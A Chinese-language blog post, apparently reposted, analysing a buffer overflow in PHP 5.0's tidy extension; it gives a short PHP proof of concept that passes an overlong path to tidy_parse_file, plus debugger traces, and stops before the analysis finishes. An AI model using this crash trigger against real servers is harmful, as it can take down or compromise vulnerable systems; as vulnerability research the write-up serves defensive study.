首页 > 开发 > PHP > 正文

PHP5.0 TIDY_PARSE_FILE缓冲区溢出漏洞的解决方案

2024-05-04 22:42:01
字体:
来源:转载
供稿:网友

漏洞说明

不得不再次吐槽一下exploit-db对exp审核的质量,这个exp仍然不能触发漏洞,修改第一个参数则可以触发,我给出的poc是一个可以触发php漏洞的,问题出现在php_tidy.dll扩展中,对tidy_parse_file的第二个参数,也就是文件绝对路径没有进行长度控制和内容校验,导致在fopen失败后进入失败处理逻辑引发缓冲区溢出,下面对此漏洞进行详细分析。

软件下载:

https://www.exploit-db.com/apps/f8fb5676b6a32f7be1c8d8d373fbc2af-php-5.0.0-Win32.zip (本地下载)

PoC:

<?php$junk = str_repeat("A", 2040); # 2036 x A$buffer = $junk;tidy_parse_file(“http://www.baidu.com”,$buffer,1,1);#tidy_repair_file(1,$buffer,1,1);?>

漏洞分析

首先介绍一下tidy_parse_file,主要是用来处理html标签,并且对处理字符串进行存储,主要关心的是第二个参数。
php会先调用php_module_startup函数对php.ini配置文件进行一系列初始化,包括获取extension扩展。

0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b038 esp=0012fc0c ebp=003b3b98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php5ts!zend_llist_apply+0x18:
1004b038 57              push    edi
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b039 esp=0012fc08 ebp=003b3b98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php5ts!zend_llist_apply+0x19:
1004b039 51              push    ecx
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b03a esp=0012fc04 ebp=003b3b98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php5ts!zend_llist_apply+0x1a:
1004b03a ffd3            call    ebx {php5ts!display_ini_entries+0xb20 (100671a0)}

这个过程不重要,直接略过,在最后会调用php的excute_script用来执行扩展中的API。进入php_tidy.dll动态链接库中。单步跟踪这个过程。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表